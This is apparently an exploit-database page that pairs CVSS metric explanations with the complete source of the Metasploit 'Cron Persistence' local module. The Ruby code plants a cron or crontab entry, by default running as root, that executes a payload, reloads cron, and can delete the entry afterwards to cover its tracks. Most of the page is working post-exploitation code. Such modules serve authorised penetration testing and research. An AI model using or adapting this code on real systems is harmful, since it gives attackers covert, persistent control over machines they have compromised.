The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
Low
C
There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
Low
A
There is reduced performance or interruptions in resource availability. However, the attacker does not have the ability to completely prevent access to the resources or services; the impact is limited.
Metasploit Cron Persistence Module##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Unix
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cron Persistence',
'Description' => %q(
This module will create a cron or crontab entry to execute a payload.
The module includes the ability to automatically clean up those entries to prevent multiple executions.
syslog will get a copy of the cron entry.
),
'License' => MSF_LICENSE,
'Author' =>
[
'h00die <[email protected]>'
],
'Platform' => ['unix', 'linux'],
'Targets' =>
[
[ 'Cron', { :path => '/etc/cron.d' } ],
[ 'User Crontab', { :path => '/var/spool/cron' } ],
[ 'System Crontab', { :path => '/etc' } ]
],
'DefaultTarget' => 1,
'Arch' => ARCH_CMD,
'Payload' =>
{
'BadChars' => "#%\x10\x13", # is for comments, % is for newline
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby python'
}
},
'DefaultOptions' => { 'WfsDelay' => 90 },
'DisclosureDate' => "Jul 1 1979" # Version 7 Unix release date (first cron implementation)
)
)
register_options(
[
OptString.new('USERNAME', [false, 'User to run cron/crontab as', 'root']),
OptString.new('TIMING', [false, 'cron timing. Changing will require WfsDelay to be adjusted', '* * * * *']),
OptBool.new('CLEANUP', [true, 'delete cron entry after execution', true])
], self.class
)
end
def exploit
# https://gist.github.com/istvanp/310203 for cron regex validator
cron_regex = '(*|[0-5]?[0-9]|*/[0-9]+)s+'
cron_regex << '(*|1?[0-9]|2[0-3]|*/[0-9]+)s+'
cron_regex << '(*|[1-2]?[0-9]|3[0-1]|*/[0-9]+)s+'
cron_regex << '(*|[0-9]|1[0-2]|*/[0-9]+|jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)s+'
cron_regex << '(*/[0-9]+|*|[0-7]|sun|mon|tue|wed|thu|fri|sat)' # s*
# cron_regex << '(*/[0-9]+|*|[0-9]+)?'
unless datastore['TIMING'] =~ /#{cron_regex}/
fail_with(Failure::BadConfig, 'Invalid timing format')
end
cron_entry = datastore['TIMING']
if target.name.include? 'User Crontab'
unless user_cron_permission?(datastore['USERNAME'])
fail_with(Failure::NoAccess, 'User denied cron via cron.deny')
end
else
cron_entry += " #{datastore['USERNAME']}"
end
flag = Rex::Text.rand_text_alpha(10)
cron_entry += " #{payload.encoded} ##{flag}" # we add a flag to the end of the entry to potentially delete it later
case target.name
when 'Cron'
our_entry = Rex::Text.rand_text_alpha(10)
write_file("#{target.opts[:path]}/#{our_entry}", "#{cron_entry}\n")
vprint_good("Writing #{cron_entry} to #{target.opts[:path]}/#{our_entry}")
if datastore['CLEANUP']
register_file_for_cleanup("#{target.opts[:path]}/#{our_entry}")
end
when 'System Crontab'
file_to_clean = "#{target.opts[:path]}/crontab"
append_file(file_to_clean, "\n#{cron_entry}\n")
vprint_good("Writing #{cron_entry} to #{file_to_clean}")
when 'User Crontab'
file_to_clean = "#{target.opts[:path]}/crontabs/#{datastore['USERNAME']}"
append_file(file_to_clean, "\n#{cron_entry}\n")
vprint_good("Writing #{cron_entry} to #{file_to_clean}")
# at least on ubuntu, we need to reload cron to get this to work
vprint_status('Reloading cron to pickup new entry')
cmd_exec("service cron reload")
end
print_status("Waiting #{datastore['WfsDelay']}sec for execution")
Rex.sleep(datastore['WfsDelay'].to_i)
# we may need to do some cleanup, no need for cron since that uses file dropper
# we could run this on a on_successful_session, but we want cleanup even if it fails
if file_to_clean && flag && datastore['CLEANUP']
print_status("Removing our cron entry from #{file_to_clean}")
cmd_exec("sed '/#{flag}$/d' #{file_to_clean} > #{file_to_clean}.new")
cmd_exec("mv #{file_to_clean}.new #{file_to_clean}")
# replaced cmd_exec("perl -pi -e 's/.*#{flag}$//g' #{file_to_clean}") in favor of sed
if target.name == 'User Crontab' # make sure we clean out of memory
cmd_exec("service cron reload")
end
end
end
def user_cron_permission?(user)
# double check we're allowed to do cron
# may also be /etc/cron.d/
paths = ['/etc/', '/etc/cron.d/']
paths.each do |path|
cron_auth = read_file("#{path}cron.allow")
if cron_auth
if cron_auth =~ /^ALL$/ || cron_auth =~ /^#{Regexp.escape(user)}$/
vprint_good("User located in #{path}cron.allow")
return true
end
end
cron_auths = read_file("#{path}cron.deny")
if cron_auths && cron_auth =~ /^#{Regexp.escape(user)}$/
vprint_error("User located in #{path}cron.deny")
return false
end
end
# no guidance, so we should be fine
true
end
end
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